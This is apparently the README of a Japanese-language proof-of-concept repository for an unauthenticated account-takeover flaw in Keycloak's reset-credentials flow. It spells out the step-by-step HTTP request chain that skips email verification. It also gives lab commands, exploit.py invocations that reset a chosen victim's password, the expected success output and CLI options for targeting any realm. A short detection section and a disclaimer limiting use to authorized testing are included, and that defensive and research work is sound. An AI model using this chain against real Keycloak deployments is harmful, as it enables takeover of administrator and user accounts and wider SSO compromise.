Keycloakのリセットクレデンシャルフローにおける未認証のアカウント乗っ取り。 ユーザー名/メールアドレスのみを知っている攻撃者が、検証メールを一切受け取ることなく、 管理者を含む任意のユーザーのパスワードをリセットできる。
この概念実証は、教育目的、防御研究、検出エンジニアリング、および許可されたセキュリティテストに厳密に限定して公開されています。
完全な声明については DISCLAIMER.md を参照してください。
| CVE | CVE-2026-18963 |
| 深刻度 | Critical — CVSS 3.1 9.1 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N) |
| 脆弱性 | CWE-640 — 脆弱なパスワード回復メカニズム |
| 影響を受けるバージョン | Keycloak < 26.7.2 (アップストリーム)。RHビルドストリームも 26.6.6 / 26.4.15 バンドルで修正済み |
| 修正済み | Keycloak 26.7.2 (PR #51844) |
| 前提条件 | レルムで Forgot password (リセットクレデンシャル) が有効 — これがデフォルト |
| 影響 | 任意のユーザー (レルム管理者を含む) の完全なアカウント乗っ取り → IdPの侵害 + 横方向のSSOアクセス |
パスワードリセット (reset-credentials) フローは通常、新しいパスワードを設定する前に、アカウント所有者にメール送信されたリンクをクリックすることを強制します。2つの欠陥により、攻撃者はこのチェックを完全に回避できます。
AUTHENTICATION_SELECTOR_SCREEN_DISPLAYED = "true" を実行IDにスコープせずに保存します。フローに再び入ると、認証セッションが混乱した/古い状態のままになります。ResetCredentialEmail.action() は、ACTION_TOKEN_USER_ID を検証せずに (つまり、メール送信されたアクショントークンが実際に消費されたことを確認せずに) context.success() を呼び出します。これらを連鎖させることで、認証セッションはメールを必要とせずに、任意のユーザーの UPDATE_PASSWORD ステップへと直接進みます。
GET /auth (client_id=account) ── login page (has "Forgot password?")
GET /login-actions/reset-credentials … ── choose-user form
POST …reset-credentials tryAnotherWay=on ── bug #1: enter "Try Another Way" selector
POST …reset-credentials username=<victim> ── select user via selector
GET …/restart … ── refresh session state
GET /login-actions/reset-credentials … ── re-enter → STALE selector (corrupted state)
POST …reset-credentials username=<victim> ── bug #2: jumps to UPDATE_PASSWORD (no token!)
POST /login-actions/required-action?execution=UPDATE_PASSWORD
password-new=…&password-confirm=… ── 302 → password changed → TAKEOVER
詳細なパッチ差分についてはdocs/ROOTCAUSE.mdを参照してください。
Dockerとrequestsが利用可能なPython 3が必要です。
# 1) Spin up a vulnerable Keycloak + demo realm/user (any version < 26.7.2)
./run_lab.sh # uses keycloak/keycloak:26.5.0
# 2) Run the exploit against the demo 'victim' user
pip install requests
python3 exploit.py --base http://127.0.0.1:8080 --realm poc \
--client account --victim victim --new-pass 'Pwned-2026!'
想定される末尾:
[7] *** update-password form served WITHOUT token ***
[8] set-password -> HTTP 302
[+] CVE-2026-18963 EXPLOITED. Login: victim / Pwned-2026!
その後、victim / Pwned-2026! でログインし、乗っ取りが成功したことを確認します。
KC_TAG=26.7.2 ./run_lab.sh
python3 exploit.py --base http://127.0.0.1:8080 --realm poc \
--client account --victim victim --new-pass 'Pwned-2026!'
# stops early — the update-password form is never served
python3 exploit.py --base URL --realm REALM --victim USER --new-pass PASS [options]
--base Keycloak base URL, e.g. http://127.0.0.1:8080
--realm target realm (default: master)
--client public client without PKCE (default: account)
--victim victim username or email
--new-pass password to set
--proxy route through a proxy, e.g. http://127.0.0.1:8081 (Burp)
-k skip TLS verification
すべてのHTTPレスポンスは検査用に ./dump/ へ書き込まれます。
Keycloakはすでに 8080 を使用しているため、Burpのリスナーを別のポート（例: 8081）に向けてください:
python3 exploit.py --base http://127.0.0.1:8080 --realm poc \
--client account --victim victim --new-pass 'Pwned-2026!' \
--proxy http://127.0.0.1:8081
Burp Repeater 用の生のリクエストチェーンは
requests/burp-chain.txt にあります。
同一認証セッション内で、メール検証を伴わずに行われたパスワード変更を探します：
VERIFY_EMAIL / EXECUTE_ACTION_TOKEN なしの UPDATE_PASSWORD イベント。tryAnotherWay=on を伴う reset-credentials リクエストの連続発生。tab_id に対する login-actions/reset-credentials の複数回の再入力。
このチェーンは公開されている Keycloak のパッチ（PR #51844）およびコミュニティの解説記事と照合して裏付けられています。
MIT © red-darkin — 教育および許可されたテストでの使用のみを目的としています。